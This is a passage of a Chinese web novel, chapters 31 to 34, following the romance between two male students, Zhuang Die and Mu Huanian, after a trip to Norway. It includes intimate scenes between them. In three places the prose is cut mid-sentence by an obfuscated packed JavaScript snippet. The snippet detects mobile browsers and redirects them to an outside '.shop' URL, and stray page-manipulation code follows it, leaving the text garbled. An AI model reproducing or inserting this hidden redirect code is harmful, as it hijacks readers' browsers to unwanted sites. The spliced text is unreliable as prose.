庄迭还没来得及闭眼,就看见慕华年颤动的睫毛近在眼前。他垂落的手紧贴裤缝,反应过来后立刻缠上了他垂涎已久的腰。 慕华年的吻远比他这个人要野蛮,就好像他在接触庄迭的那一瞬打开了无形的枷锁。他感受到庄迭掌心的温度,透过大衣贴在他的皮肤上,他更用力地掠夺庄迭的神志,直到怀里的人开始发软,他撑住了庄迭。 也是这一刻,庄迭知道自己在飞机上的想象完全是痴人说梦。 两个人分开时,庄迭的嘴唇红得不像话,上面的水色让他看起来饱满诱人。他此刻的眼神里透着飘荡的神魂,他看不清自己,也看不清眼前的人。 慕华年低头笑了,难得笑得张扬。 “不许笑。”庄迭底气不足。他没想到自己这么没出息,明明他从一开始就代入的是上位。 “庄迭,你想清楚,我给你时间。”慕华年顿了顿,“也允许你反悔。” 慕华年的意思隔着水雾,庄迭却一清二楚。他把下巴藏在围巾里,慢慢遮住半张脸。慕华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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庄迭点头的时候还盯着那块屏幕,小声说了声“谢谢”。 “你们是情侣吗?”年轻人随口问。 不知道是不是因为他说中文,庄迭少了几分在异国他乡的坦然。他小心翼翼看了慕华年一眼,却听到他很郑重地说:“是。” “祝福你们,”年轻人真诚地说,“我也希望能遇到陪我看极光的人。” “我已经快一个人走遍这个世界了。” 这话听着寂寞,但他脸上是满不在乎的洒脱。看了眼传输进度,他打开微信,问:“用微信吗?我没有国外的社交账号。” “用的,”庄迭想着慕华年不喜欢加陌生人,刚要掏手机,却被慕华年抢先一步。他低头笑了笑,靠过去看慕华年的手机,“你拍的真好,很专业。” “业余爱好啦。”年轻人露出羞涩的表情,随后像才反应过来似的,摘下手套伸手,“可以问问你们的名字吗?”说完又补充道,“放心,这些照片我只留着自己看。” “慕华年,”慕华年顿了顿,“这位是我男朋友,庄迭。” “真好!”年轻人轻轻碰了碰慕华年的指尖,“我叫傅安之,安之若素的安之。” 后来慕华年把这张照片洗了两张,他和庄迭一人一张。只是他不小心弄丢了自己的那张。 庄迭帮他找回来了。 31. 第 31 章 回到酒店,庄迭哈着气暖手。慕华年用自己的杯子倒了热水,拿毛巾裹住递给他,说:“抱着。空调得开一会儿才能热。”说完转身进了卫生间。 这几天出门都是慕华年先去洗澡。庄迭最初还和他抢过,后来才明白他是先进去暖浴室。等慕华年洗完出来,他再进去时,浴室已经热气氤氲。 浴室里水声淅沥,庄迭缩在被子里好一会儿才热起来,可热了之后就犯困,晚上那个吻太要命了,比他做一小时有氧还累。等慕华年出来时,被子里的人已经睡着了,脸埋在枕头里呼吸轻浅,怀里还抱着那个热水杯。 慕华年摇头轻笑,拆了包一次性面巾打湿,走到床边贴过去,单膝跪在床上时床垫明显压下去了些。庄迭顺着下陷的角度转身,整张脸在台灯的光照下一片岁月静好。 犹豫一瞬,慕华年还是动手了。面巾轻擦过脸颊,触到眉骨时庄迭轻哼一声。慕华年放轻动作,手掌慢慢下滑到他脖颈。 再往下就不合适了。他适时停手,正要收回却被被子里伸出的手抓住。庄迭像得逞的孩子着,眨着半睡半醒的眼睛,问:“被我抓到啦?想趁我睡觉图谋不轨?” “睡。”慕华年故作严肃,可还没转身就破功了,“挺会装的。” “慕华年,”庄迭仍握着他的手,借力将人拉到床上,“我再给你一次机会。” 他牵引着那只手来到自己领口。当慕华年指尖擦过喉结时,不知是谁先为之战栗。 狭小的单人床,此时躺着两个一米八几的男人。谁都没有进一步动作,可呼吸却都在这小小的房间被夜色点燃。 “要我教你吗?”庄迭挑衅。 慕华年用实践又一次做了回答,不需要。 他任由庄迭拉着他的手,跨坐到庄迭身上,以居高临下的姿态注视着他。那只握着他的手泄露了主人的心虚,慕华年顺势抽回手,俯身再次吻住庄迭。 很快,他感觉到庄迭被热水焐热的手游移到他的小腹,笨拙地在金属扣上打转。他抬头时喉间溢出低笑,跪姿未变,依旧钳制着身下的人。 “要我教你吗?” 不等庄迭回应,慕华年再次夺走他的神智。他吻得投入,却不妨碍单手解开庄迭的皮带。皮带抽出的瞬间庄迭睁眼看他,下一秒双手就被自己的皮带缚住。 “玩这么变态……慕华年……” 没有预想中的疼痛,庄迭皱着眉,只感觉一个枕头垫在腰下。 “庄迭,喜欢我吗?” 结束后庄迭靠在床边看慕华年,眼前的人衣冠楚楚,连领口都一丝不苟,只有衬衣袖上的扣子被他抓掉,此时袖子挽在那截泛红的小臂上。 慕华年走过去解开皮带,用拇指轻抚庄迭的手腕。他皮肤太薄,不到半小时已经有一条红痕留在上面了。慕华年觉得自己玩得有些过了,不禁蹙眉,可还没等他开口,庄迭仰着脑袋说:“不疼。” “以后不会了。” “不行,”庄迭声音小了些,“我还要。” 慕华年一怔,随即笑出声,“舒服?” “我也可以让你试试。” 慕华年摇头,可庄迭玩兴起来了没有那么容易罢休。他腰还酸着,也顾不得什么面子,直接挂上慕华年的脖颈。 “不比你差的。” “不要。” 慕华年忍得辛苦,尤其看到此时庄迭的动作,他唇边还留着红润的水光,让慕华年又想到了那个湿热的吻。 “我没试过,想试试。”庄迭进一步试探,他贴着慕华年,膝盖一寸一寸往床沿挪。只是膝头擦过慕华年的大腿时,被又一次置回了床上。 “庄迭,给你的你接着就行。我不要。” 不知过了多久,庄迭被折腾地又睡了一觉,他听见浴室传来水声,以及一道几不可闻的喘息,他笑着摇头,伸手摸索床上不知滚到哪去的热水杯,紧紧搂进怀里。 十分钟后水声停歇。慕华年出来的时候只裹着一条浴巾,庄迭装模作样地扭过头。慕华年知道他醒了,擦头发的动作顿了顿,笑着没说话。他关掉台灯,没一会儿后背就贴上来一片温吞吞的皮肤。 “不让我玩,总能让我抱着睡吧。” 慕华年头发还湿着,庄迭蹭上去时鼻尖沾了水汽。等他转过身,庄迭的鼻头湿漉漉地像刚哭过。慕华年皱了皱眉,“哭了?刚才不舒服了?” 好不容易逮到机会,庄迭立即学他皱眉,软声软气地说:“今晚我妥协两次,以后是不是要妥协一辈子?”说完还吸吸鼻子,演得更像了。 慕华年立刻将他捞进怀里,忘了两人几乎赤裸相贴。庄迭直冲冲撞进他怀里的时候,闻到的是还没干透的沐浴露味。 “我第一次没经验,网上学的,没实操过。” 庄迭忍着笑,说:“你现在是有经验了,我还没有呢。” “我怕我忍不住。” “谁让你忍了?” 慕华年不说话了,庄迭从他胸前抬头,用发顶磨蹭他下颌,听见一声轻叹,说:“庄迭,我想让你想清楚,我想让你干干净净一辈子。” 本来还闹呢,突然轮到自己说不出话了。庄迭这次是真哭了。泪水落在慕华年锁骨上,他低头轻贴他眼角,“不哭了。” “嗯,”庄迭还挂着泪,嘴角却弯起弧度,他下意识重复着,“我干净着呢。” “睡吧。再给我们点时间,我们慢慢来。” 慕华年收紧环在庄迭腰间的手臂,很快有呼吸声从庄迭头顶漫出。庄迭抬头去端详他的眉眼,他睡得并不安稳,依稀能看到眉间若隐若现的褶皱。 庄迭用食指一下一下试图替他抚平,直到搂着他的那只手收得更紧,“睡,累了。” “好。”庄迭声音懒懒的。 慕华年睁眼看他,情不自禁吻上了他的眉心,“就这么好看?” 庄迭没来得及回答,手指便被慕华年攥住,听到他问:“庄迭,你就这么喜欢我?” “对,很喜欢。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111627|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“为什么?” 理由太多了。 庄迭正要开口,耳边传来慕华年沉稳的呼吸。他笑了笑,挪近靠在他胸前。 “慕华年,生日快乐。”庄迭侧过身轻轻吻在眼前人的眉间。 那天在机场,庄迭在护照上看到了慕华年的生日,他没时间准备礼物了,于是想把自己送出去。 他想着,那些喜欢总有机会说的。 今天就先说这一句。 第二天离开挪威,是这周唯一一个雨天。 庄迭撑伞跟在慕华年身边,慕华年两只手各拖着一个行李箱,他走了走停下来,把庄迭的箱子塞回他手里。 “累了?”庄迭不以为意,自然接过箱子,甚至想去拿慕华年的,却被他抢先一步搂进怀里。 伞被接过,慕华年半圈着他继续走。 “这样走舒服吗?不舒服的话我去对面再买把伞。” 庄迭觉得慕华年简直是恋爱天才,虽然本人对此一无所知。 “慕华年。” “嗯?”伞下的人在机场门口的红绿灯旁对视,一对陌生的漂亮面孔引人注目,“淋到了?” 庄迭摇头,向他靠拢,“我们要回荷兰了。” “舍不得?” “没有。我们还有很多以后。” 慕华年点头“嗯”了一声,胳膊慢慢收紧。 去的时候那三个小时很难熬,返程的每分每秒却都是愉悦的氛围——因为他们坐在一起。 飞机飞到一半,庄迭见慕华年戴耳机睡着,戳了戳他。慕华年转头看他,没有摘耳机的意思 庄迭又指了指自己的耳朵,慕华年扬着眉摘下右耳耳机,听见庄迭凑近小声说:“我也想听。” 慕华年没有动,只是看着他,眼中映着眼前人的影子。庄迭不等他,直接拿走他掌心的耳机戴好。 “他没有说明,这看似朋友的关系,忽远忽近的距离温柔的陷阱。” 庄迭的手瞬间攥紧,又听到:“我烦人的话说不停,也得不到回应,只是他偶尔有些暧昧也说给我听。” “什么歌?” 慕华年点亮屏幕给他看。 他的歌单真的很杂,至少庄迭没有听到重复的曲子,包括接下来的两个小时。 “慕华年,你到底喜欢什么音乐啊?”听到最后庄迭困了,耳边的调子被他自动曲解成催眠的声音。他问话的时候,慕华年瞧见他睫毛眨动的频率渐渐慢了下来。 “没有什么是很喜欢的。” “那电影呢?你喜欢看哪种电影?或者你玩游戏吗?” 慕华年笑了一声,托着庄迭的脑袋靠在自己的肩膀上,庄迭彻底闭上了眼。 “我没什么爱好,没有很喜欢的,也没有很讨厌的。当然除了香菜。” 庄迭动了动头,像是在表示知道了,又像是半梦半睡间的撒娇。慕华年抿着嘴去取他的耳机,却又被抓住了手。 “现在有了。你要喜欢我。” 32. 第 32 章 回到荷兰后,日子过得飞快。也可能是因为庄迭在这样日复一日的生活里,尝到了从未有过的滋味。 他喜欢和慕华年一起做些浪费时间的小事,也喜欢为些鸡毛蒜皮的事跟他吵架。不过吵到最后往往没结果,慕华年会用食指弹他额头表示无奈,或者干脆用一个吻堵住他的嘴。 至于用哪种方法,得看慕华年觉得这到底是谁的问题。 转眼到了三月,白天越来越长,想借着天黑偷懒的借口渐渐失效了。慕华年这学期更忙了些,庄迭也继续忙自己的事业。 慕华年虽然嘴上不问,但心里好奇,跟着庄迭去过两次实验室。一次只有路远舟在,另一次他们小组的人都在。 “小苏不是大一新生吗?”慕华年看着那个和在赛车上完全不一样的女孩。她扎着高马尾,穿粉色小裙子,头戴贝雷帽,守在角落写程序。估计是耳机声音太大,她没意识到自己成了话题中心。 庄迭瞥了苏郡清一眼,边打字边说:“是大一,但不是新生。她有点像武侠小说里的掌门继承人。” “怎么说?”慕华年又问。 庄迭撇了撇嘴,“她妈妈是我的启蒙老师。十六岁那年张叔带我去她家工厂玩了一个暑假,从那以后我就彻底爱上汽车了。以前都是小打小闹,只有站在实验室里,我才真正体会到研发的乐趣。” “现在换你带她了?” 庄迭摇头,说:“谈不上。我最多带她玩玩赛车。这个项目组没有谁是被带进来的,能留到现在的,每个人都负责项目的一部分,缺一不可。” 庄迭把电脑转向慕华年,调出一个模拟机械设计图。他单手撑电脑,另一手滑动鼠标,屏幕上的车瞬间分解成几个部件。他又点了右下角一小块,说:“苏郡清的设计,也多亏她这个RSC系统,我才活了下来。” 庄迭从没跟慕华年细说过那天的事。今天既然说到这,他索性合上电脑,转身看着自己的爱车,右手搭上慕华年的肩膀,“那天我的车在高速变道时,加压滑轨几乎瞬间断裂。事后检修,赵麟差点没骂死我。这个系统预判了侧翻风险,降低了发动机扭矩,也保住了我的命。” “这些你事先都预料到了?” 庄迭眼神晦暗不明,嘴角含着笑,“嗯,但成功的概率只有一半。” 感觉到慕华年肩膀绷紧了,庄迭伸手拍了拍他,安抚道:“以后不会啦。” 慕华年脸色还是不太好看。虽然庄迭解释了缘由,但直到现在他才真正体会到当时的凶险。这段时间他一闭眼就能想到那天的画面,想到肖扬躺在担架上的样子,然后心里一阵一阵的后怕。 “庄迭,以后再想做傻事,你先念一遍我的名字,先给自己三秒。” 慕华年说完转头看庄迭。实验室里其他人各忙各的,没人注意慢慢靠近的两人。慕华年在庄迭凑过来时推开了他,说:“小惩大诫。” 庄迭笑着认了,双手合十朝他拜了拜,求饶似的念着慕华年的名字。慕华年终于也笑了。 “你们实验室一共几个人?”慕华年看了眼表,快晚上八点了。屋里几个人就中午吃了一顿,熬到现在。他打算给他们订简餐。 “六个。等会儿赵麟会来。至于另一个,”庄迭笑了笑,“估计在夜店呢,别管她,晚上测试的时候就来了。” 慕华年没有再细问,订了他常吃那家披萨店的招牌披萨,又问了大家的忌口,加了些小吃。 “Ash,我跟你快一年了,你也没请我吃过几顿饭。怪不得人家在上面呢,多会疼人。” 慕华年取披萨回来,洗手时听到有人高声调侃庄迭。他走进实验室,却被眼前的人惊了一下。 看着有点眼熟。慕华年走过去点头示意。眼前的姑娘一身黑色皮衣,配着热裤和过膝靴,显得高挑又妖娆。她热情地向慕华年伸出手,手还没到呢,美甲上的猫眼已经反了光,“你好啊,我叫颜桥。” “不,她叫颜娇。”庄迭冷不丁插嘴。 “你滚。”颜桥白了庄迭一眼。见慕华年轻轻握了下她的指尖就后退一步,忍不住打趣,“不是吧庄迭,这么没出息?既防男又防女?” “颜娇!”庄迭作势要打。颜桥虽然穿着靴子,身手却很灵活,立刻躲到慕华年身后。不过她有分寸,只把眼前的人当人墙。 “你打啊,打到你老公我可不赔。” 颜桥这话先逗笑了路远舟。他怕殃及池鱼,赶紧端着披萨躲远,顺手把苏郡清也拉离战场。小姑娘还没搞清状况,回头张望,说:“怎么了,姐姐说错了?” “小祖宗,你别添乱了,你庄哥哥好不容易才接受的,听不得这个。” 路远舟刚说完,就听见身后一声冷笑。他回头看见庄迭挂着招牌假笑慢慢走近慕华年,躲着的颜桥还在挑衅,“你来啊,我怕你?” 慕华年看着庄迭一步步走近,脸上表情很是丰富。他在犹豫要不要拦,难得半天拿不了主意,毕竟他没处理过这种关系,也没有过这样的朋友。 “颜桥,能源部分我做完了。等会儿你的机械要是有任何一点bug,我就告诉你的Emily,你上周没去她家是因为有了Cassie。” 有点混乱。慕华年听完皱起眉。他身后的姑娘“呀”地叫了一声,猛地蹿出来,抓起桌上的一块披萨塞进嘴里,瞪了庄迭一眼,自认理亏地气鼓鼓推开玻璃房的门。 也是这一眼,让慕华年明白了对颜桥的熟悉感从何而来——甚至是同款的披萨。 那天他第一次去庄迭家,看到的那个背影就是颜桥。 慕华年记得自己当时莫名其妙生了场气,现在想来更觉得可笑。 “别理她,就是个疯子。”庄迭说这话时还在和玻璃房里的姑娘互相“致意”。慕华年看着这一幕哭笑不得,说:“挺有个性。” “那必须的,在座的没一个好说话的。”庄迭顿了顿,看着慕华年,“除了你。” 慕华年挑着眉没反驳,虽然他并不这么认为。 闹归闹,庄迭把剩下的披萨分了分,用盒子装了两小块,端了杯不加冰的苏打水,敲了敲玻璃房的门,不等回应就把吃的放在门口桌上,又退了出来。 “这姐以前没这么疯,可以说和现在判若两人。那时候她真的叫颜娇。” 庄迭斜靠在工作台上,把披萨递了一块给慕华年,自己又拿起电脑,他还差一点就写完了。 慕华年明白他的意思,笑着摇头,走过去站在他身边喂他,平均等他嚼七下就抬一次手,“看着比你们大?” “嗯,二十六了,不过算起来是我师妹。”庄迭又看了眼颜桥。姑娘把铆钉外套脱了挂在车门上,露出的胳膊线条流畅,肌肉明显,“当时她跟着男朋友来的荷兰,男朋友读完书回国结婚了。” 慕华年手上的动作顿了顿。庄迭笑着倾身去够悬在嘴边的披萨,“想听故事也别让男朋友饿着肚子讲啊。” “方便说吗?” 慕华年退了一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111628|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。庄迭嚼着东西,还是没忍住叹气,“她已经完全不在意了。某种程度上,她比我强。” “那时候她才二十三,在国内读了个二本。别说荷兰语了,连英语也就会个‘howareyou’。可她硬是在这人生地不熟的地方待了两年。她自己说那日子还不错,实际上她知道,就是被人骗了,当了两年老妈子。” 玻璃房里的颜桥叼着半块披萨,一口气喝了半杯饮料,戴手套前囫囵吞枣地吃完了庄迭送进来的饭,然后戴着耳机蹲到车边。等升降台升起,她利落地钻到车底下。 “看着是很单薄的姑娘是吧?可她是我见过最好的机械师。上TUD之前,她在修车厂干了两年——那是她能找到最赚钱的活,她得先在这活下去。我和赵麟去修车认识了她,后来帮她牵线搭桥,补语言。她也是真拼命,真让她申请上了。” “怎么没回家?” 庄迭敲完最后一行代码,检查了一遍数据,直接发给教授。然后端起冰可乐,用吸管搅动着冰块,说:“要不说那是个畜生呢。颜桥没爸妈。” 慕华年皱了皱眉。再抬头时,看见颜桥手里拿着扳手,动作干净利落。拆下来的小零件被她收进盒子,有汗水滑落时,她抬胳膊蹭了蹭。 “不过我们也没让那孙子好过。算准他航班起飞的时间,我们三个当了回真混混。路远舟他惹不起,我和赵麟他打不过。那一架打得真痛快。” 说曹操曹操到。赵麟进来时提着个小蛋糕盒,见到慕华年后微微点头。他把蛋糕盒放在苏郡清电脑旁,拍拍小姑娘的头,一言不发地进了玻璃房。 “这个哥也是个狠角色。”庄迭朝他努了努嘴。 赵麟进去后依旧沉默。他和颜桥打了个照面,一个去操作台,一个继续在车底下敲敲打打。 “我认识他的时候他就是N7的教练。虽然不是科班出身,但跟着车队这么多年,他对这些东西太熟了。车一响就知道哪出了问题。不过他话少,他的过去他不说,我们也不问。只知道苏郡清的妈妈给他做了担保,在他要被遣返时帮他留了下来。” “你能把这些人才聚在一起,也是厉害。” 慕华年用杯子和庄迭碰了一下。庄迭笑着环顾四周,点点头,“能遇到这些朋友,是我这辈子最幸运的事。”他说完觉得不对,立刻找补:“遇见你是最最幸运的,不是一个level。” 慕华年笑他幼稚。庄迭任由他摸自己的后颈,转头看着慕华年,说:“今天,我的所有朋友,我过去的二十二年,我的荒唐,我的恐惧,你都看到了。慕华年,这就是我。” 庄迭说得庄重,慕华年揉着他的头发动作越发温柔,“我没你这样的朋友,也没有你这样的青春。我的平淡,我的无趣,你也都看到了。庄迭,这也是我。” “慕华年,”过了一会儿,天色暗下来,隐约可见落雪前的紫红色,庄迭再次开口,“冬令时就要过去了。” “嗯,荷兰这冬天真是又长又冷。” “可我觉得今年冬天还行。” 慕华年任由庄迭在桌下勾住他的手指,又演了一出早恋的戏码。他笑着别过头,“接下来的春夏秋也会很好的。” “慕华年。” “嗯?”慕华年转头看他。庄迭却笑着摇头,“没事儿。” “你要跟我私奔吗?” 庄迭也不知道自己为什么问出这句话。但他就是想带着慕华年逃跑。 这句话,就像是一种预兆。 33. 第 33 章 来荷兰前就听说这里是“欧洲衡水”,上了半年学,慕华年算是深有体会了。那些零零散散的假期像挤不出来的牙膏,他刚喘口气就被新的任务push着往前走。 不过比起他,庄迭的压力更大。从四月开始他连实验室都很少去了,偶尔和颜桥、赵麟视频,大部分时间不是在完善毕业设计,就是在准备FSC大赛。 按庄迭原来的计划,他根本没打算按时毕业。TUD设备好,教授也支持他做自己的项目,他想在学校多赖一两年。但遇到慕华年后,他感到了压力。 慕华年的人生是一条不会中止的铁轨,他按步就班做好所有事情。现在他们乘着同一趟列车,但庄迭总怕有一天跟不上,只能眼睁睁看着慕华年离开。 这种念头一出现,庄迭就会陷入噩梦成真的恐惧。但他绝不会让这种事发生。 这天庄迭在书房写了一整天数据分析,抬头时眼前直冒金星。他起身找眼药水,听见楼下门响了。 “回来啦?” “嗯,我做饭,”慕华年在玄关换鞋,顿了顿,“你一整天没休息?” 他看见早上给庄迭准备的午饭原封不动地放在那儿。 “庄迭,下来。” 庄迭眼里还汪着被眼药水刺激出的泪水,扶着墙下楼时像刚哭过。慕华年皱了皱眉,走过去扶了他一把,“我没有要发脾气的意思。” “嗯?我知道啊。” 庄迭想揉眼睛,他觉得有睫毛沾在眼球上,刺得难受,但慕华年抢先抓住了他的手,“那你哭什么?” “哭?”庄迭的手还被握着,眯着眼看他,嘴角带笑,“在你眼里我这么爱哭啊?说一句都不行?” 慕华年不接话,看着他发红的眼睛一时语塞。庄迭不再逗他,凑近小声说:“眼睛不舒服,好像进东西了,你帮我吹吹?” “电脑看太久了。” 话是这么说,慕华年还是洗了手过来。冰凉的手碰到庄迭时,他身子一颤。 这是除了挪威那晚,他们最暧昧的时刻。 庄迭也不知道自己怎么忍住的。明明回来后他们就默契地睡在了一张床上,但慕华年什么都不做,只在每个凌晨翻身紧紧抱住他,像怕他跑掉一样。 庄迭时刻记得他的话,所以也不敢越界。 慕华年俯身靠近,呼吸洒在庄迭鼻尖——那天接吻时,他也是这个距离。 “慕华年,我好看吗?” “嗯,”慕华年一边帮他吹眼睛,一边用指尖轻抚他下眼睑的乌青,“今天早点睡。” “今天不行。”庄迭看见慕华年脸色沉了沉,软声解释,“比赛还有一个月,我最近没时间去实验室,活都是他们干的。我总不能连数据分析都不做吧。” “那十二点准时睡。” 庄迭眨眨眼,心里盘算了下,“那应该可以,我尽量。” “不行,必须。” 慕华年难得强势,庄迭觉得新奇。他们一上一下站在楼梯上,庄迭轻轻一推就把慕华年禁锢在了拐角处。 “这么凶?我可又要哭了哦。” 慕华年扭过头去,下一秒却握住了庄迭的腰,“你要是乖乖听话,今晚让你玩。” “嗯?”庄迭眼睛一亮,两人都心知肚明这话的意思,“真的?” “只能十二点。” “你是灰姑娘吗?十二点就坐马车跑了?那你要不要留只水晶鞋给我?” 慕华年笑着拍他脑袋,弯腰从他胳膊下钻过去。庄迭快走两步追上,一跳勾住他脖子,“行不行啊,灰姑娘?” “你就这么确定,有水晶鞋就能找到我?” “其实没有也行,”庄迭的手开始不老实,虽然饿着肚子,但现在他想吃别的,“只要是你,我总能找到。不管你在哪。” 这话慕华年信,病入膏肓的他切身体会过。 “最近是不是胖了?” 庄迭跳下来时,慕华年托着他掂了掂,满意地说。庄迭却不乐意了,“这就嫌弃了?还什么都没做呢。” “我好不容易养胖的,我嫌弃什么?” 庄迭吧唧在他脸上亲了一口。慕华年手上还在收拾晚上买的虾,忍着没用手去揉他的脸。 这虾慕华年每次都要处理很久,虽然超市的虾是收拾好的,但他总觉得有腥味,下锅前总要先用葱姜水泡一会儿。庄迭靠在餐台看他,说:“我活得没那么仔细。” “以后可以仔细点。” 慕华年说着抬起手,“忘系围裙了,男朋友帮帮忙?” 庄迭乐了,闲庭信步地取下墙上的围裙,系的时候动作很慢,像是一寸一寸丈量慕华年的腰围。最后打完蝴蝶结,还不忘拍了下他的腰。 “手感真不错。” 慕华年懂他话里的意思,笑着别过脸,拿着沥水篮淘洗食材,“你又不是没见过。” “摸过,见过,就是没用过。” 庄迭的话越来越露骨。慕华年不是多纯情的人,却总被他的只言片语惹得脸红。之后他就不说话了,默默把虾泡进碗里,把剩下的蔬菜下锅烫熟。 和慕华年相处这么久,庄迭还是觉得他每天都能给自己带来新惊喜。比如每次脸红,颜色都不一样。 这次是橙红色的,有点像他煮过的橙香红酒。 吃完饭,庄迭也不急着回书房了。他看了眼时间,离线上会议还有一个小时,他走过去要帮慕华年收拾桌台,却让人用手推了出来。 “去花园坐会儿,看看花,对眼睛好。” “好的,慕老师。” 话是这么说,庄迭却一步三回头。他就喜欢看慕华年做事时那股沉稳劲儿。 “慕华年!” 过了一会儿,庄迭在花园朝厨房喊。慕华年手上还沾着洗洁精泡沫,问:“干嘛?” “外面在下雨,出去吗?” “你有病啊?”慕华年翻了个白眼,转身放碗时却问,“去哪?” 屋里爽朗的笑声被另一声低笑接住。随后笑声戛然而止,慕华年身后的开关被人关上。 “都怪你,我没心思学习了。我们去淋雨,然后先睡一觉好不好?” “为什么要先淋雨?” “我怕我忍不住。” 花园的天幕可以打开。按钮按下,大雨滂沱。庄迭笑得像个傻子。慕华年看不清他的表情,却能轻易捕捉到他的快乐。 “慕华年!”庄迭大声喊,“我爱你!” 突如其来的表白,就如同这场突如其来的雨。 “我也爱你。” 慕华年的回答式微很多。但他说完就捧住庄迭的脸,温热的呼吸和雨水一起汇入庄迭的口腔。 庄迭喜欢在任何地方接吻,尤其喜欢这样的大雨。 慕华年只穿了件薄睡衣,湿透的布料贴在身上,勾勒出骨骼和肌肉的线条。他周身蒸腾的热气,和他的吻一样热烈。 吻到窒息时,慕华年突然退开,“等等,有件事要先说。” 庄迭还懵着,喉咙里“嗯”了一声,把贴在额前的头发拨开,仰头呼吸时喉结滚动,“你说。” “我要搬回去住一段时间。” 庄迭清醒了些,张了张嘴却没说话。他看着慕华年,最后只问了句:“我们还继续吗?” 他是笑着问的,好像只是在问这个吻。但慕华年听出了言外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111629|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之意。他把庄迭拽进怀里,下巴抵在他肩头。 “教授帮我联系了海牙的实习,他觉得我应该试试。他说机会很难得,含金量也高。但如果我去实习,住这就有点远了。我不想你每天绕路送我上下班。” 慕华年顿了顿,决定先解释这句话,“我不是不想让别人知道,你别误会。我身边的人都知道你,我没想瞒任何人,你别多想。” “我没有多想。” 庄迭用手指点在慕华年的嘴唇上,然后用自己的唇代替。他一下下轻吻着,慕华年睁眼看他,听他说:“去吧,这确实是好机会。” “你不该为了任何人改变你规划好的人生。” “庄迭,我其实没什么人生的。” 庄迭在意识涣散的边缘听到这句话。他没明白,但也没追问。因为慕华年抱起了他,两具湿透的身体紧贴在一起,在雨夜的召唤下陷入了一场更深的滂沱。 那是他们的第一个夜晚。庄迭笨拙得像个误入乐园的孩子,他的手指描摹着慕华年的每一条曲线,包容他所有的沉默和汗水。 慕华年原本没打算这样。他只是想让庄迭放松,由着他玩一玩就好。可那雨混了庄迭的眼泪,他在最后的吻里尝到了星星点点的咸涩。 庄迭是个很怕离别的人,慕华年一直都知道。 教授提出建议时,慕华年本来要拒绝。比起前途未卜的未来,他更想要和庄迭的此时此刻。但教授说,这个实习或许能帮他留在荷兰。 这样他们会有更多长长久久。 只是这一切悬而未决,慕华年不想给庄迭一场盛大的空欢喜。 “慕华年。” 庄迭嗓子有些涩,刚开口就又被慕华年吻住。他笑着推了推他的肩膀,“让我说句话嘛。” “嗯,你说。” “和我在一起,累吗?” 慕华年的动作停滞片刻,换来了更深的探索。庄迭皱眉,弓身贴住他的胸膛,“我是不是要得太多了?” 不多。 比起自己,不多。 慕华年还是沉默着。汗水滴落,砸在庄迭锁骨上,像他每一次起飞与降落。两人的距离忽远忽近,潮湿的水色早已遍布这房间的每一处。 “答应我,不要太爱我。” 庄迭断断续续地说,探身吻在慕华年的下颌,手指插进他湿漉漉的头发。他还没有学会如何迎合,可他懂得如何承受一切。 “不行。” 慕华年难得否定。庄迭笑着又要吻他,却被他躲开。 “庄迭,是你让我喜欢你的,是你问我要的。” “那就都给我好了。” 燥热终究包裹着潮湿的水汽睡去,却被窗外一声雷鸣惊了。庄迭在疲惫后陷入近期最好的一次睡眠,此刻却不安分地翻身,看见慕华年睁眼望着天花板。 “害怕了?”慕华年问。 庄迭往慕华年身边靠了靠,整个人埋进他胸口,但只是靠着,没有进一步动作。 “我多大了,还怕打雷?不过确实被吵醒了。” 慕华年轻笑一声,调整姿势把胳膊环成圈,让庄迭缩在自己怀里。 或许是身边人给的底气,庄迭越发得寸进尺。他侧身躺好,半边脸稳稳贴着慕华年胸口,他能听到那有些沉闷的心跳。但他不满足,于是右手环过来抱住身边的人,临了伸手捏了捏慕华年腰侧的软肉。 没有预期的调笑,也没有反抗或挣扎。庄迭准备再次入睡时,头顶被轻轻靠住。那人用下巴蹭了蹭他发顶的绒毛。 “换个姿势,你压着胳膊,等下睡醒来胳膊要麻的。” 那一刻,庄迭知道慕华年爱惨了他。 34. 第 34 章 早上送走慕华年,庄迭又重新回床上躺着,可怎么也睡不着了,他坐在床上看着空了一半的衣柜和似乎还留着余温的另一半床铺。 以前张宪偶尔也会出远门,但庄迭从没有过现在这种不安的感觉。 这种不安在接下来的春天里慢慢发酵。明明冬令时已经结束,可另一个寒冬好像才刚刚开始。 尤其是每次走进小花园的时候,“睹物思人”这个词就变得特别具体。 